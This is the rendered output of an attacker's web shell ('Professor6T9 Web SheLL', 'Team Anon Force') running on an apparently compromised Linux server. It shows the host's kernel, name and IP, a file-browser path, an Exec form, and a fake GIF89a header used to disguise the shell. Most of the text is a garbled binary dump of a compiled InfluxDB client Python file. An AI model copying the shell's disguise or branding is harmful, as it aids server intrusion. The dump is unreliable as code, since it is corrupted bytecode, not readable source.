GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
labels_api.cpython-38.pyc
U ܒi� � @ sD d Z ddlmZmZmZ ddlmZmZmZm Z G dd� de �ZdS )zaLabels are a way to add visual metadata to dashboards, tasks, and other items in the InfluxDB UI.� )�List�Dict�Union)� LabelsService�LabelCreateRequest�Label�LabelUpdatec @ s� e Zd ZdZdd� Zdeeeeef ed�dd�Zed�d d �Z e eef d�dd�Zeeed �dd�Ze d d�dd�Zed�dd�Ze d d�dd�ZdS )� LabelsApiz-Implementation for '/api/v2/labels' endpoint.c C s || _ t|j�| _dS )zInitialize defaults.N)Z_influxdb_clientr Z api_client�_service)�self�influxdb_client� r �R/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/labels_api.py�__init__ s zLabelsApi.__init__N)�name�org_id� properties�returnc C s t |||d�}| jj|d�jS )z� Create a new label. :param name: label name :param org_id: organization id :param properties: optional label properties :return: created label )r r r )Zlabel_create_request)r r Zpost_labels�label)r r r r Z label_requestr r r �create_label s zLabelsApi.create_label)r c C s* t � }|j|_|j|_| jj|j|d�jS )z Update an existing label name and properties. :param label: label :return: the updated label )�label_id�label_update)r r r r Zpatch_labels_id�idr )r r r r r r �update_label s zLabelsApi.update_labelc C s0 d}t |t�r|}t |t�r"|j}| jj|d�S )zL Delete the label. :param label: label id or Label N�r )� isinstance�strr r r Zdelete_labels_id)r r r r r r �delete_label( s zLabelsApi.delete_label)�cloned_namer r c C s* d}|j dk r|j �� }| j|||jd�S )z� Create the new instance of the label as a copy existing label. :param cloned_name: new label name :param label: existing label :return: clonned Label N)r r r )r �copyr r )r r r Zcloned_propertiesr r r �clone_label8 s zLabelsApi.clone_labelr )r c K s | j jf |�jS )zs Get all available labels. :key str org_id: The organization ID. :return: labels �r Z get_labels�labels)r �kwargsr r r �find_labelsF s zLabelsApi.find_labelsr c C s | j j|d�jS )z\ Retrieve the label by id. :param label_id: :return: Label r )r Z get_labels_idr )r r r r r �find_label_by_idP s zLabelsApi.find_label_by_idc C s | j j|d�jS )z� Get the list of all labels for given organization. :param org_id: organization id :return: list of labels )r r! )r r r r r �find_label_by_orgY s zLabelsApi.find_label_by_org)N)�__name__� __module__�__qualname__�__doc__r r r r r r r r r r r$ r% r&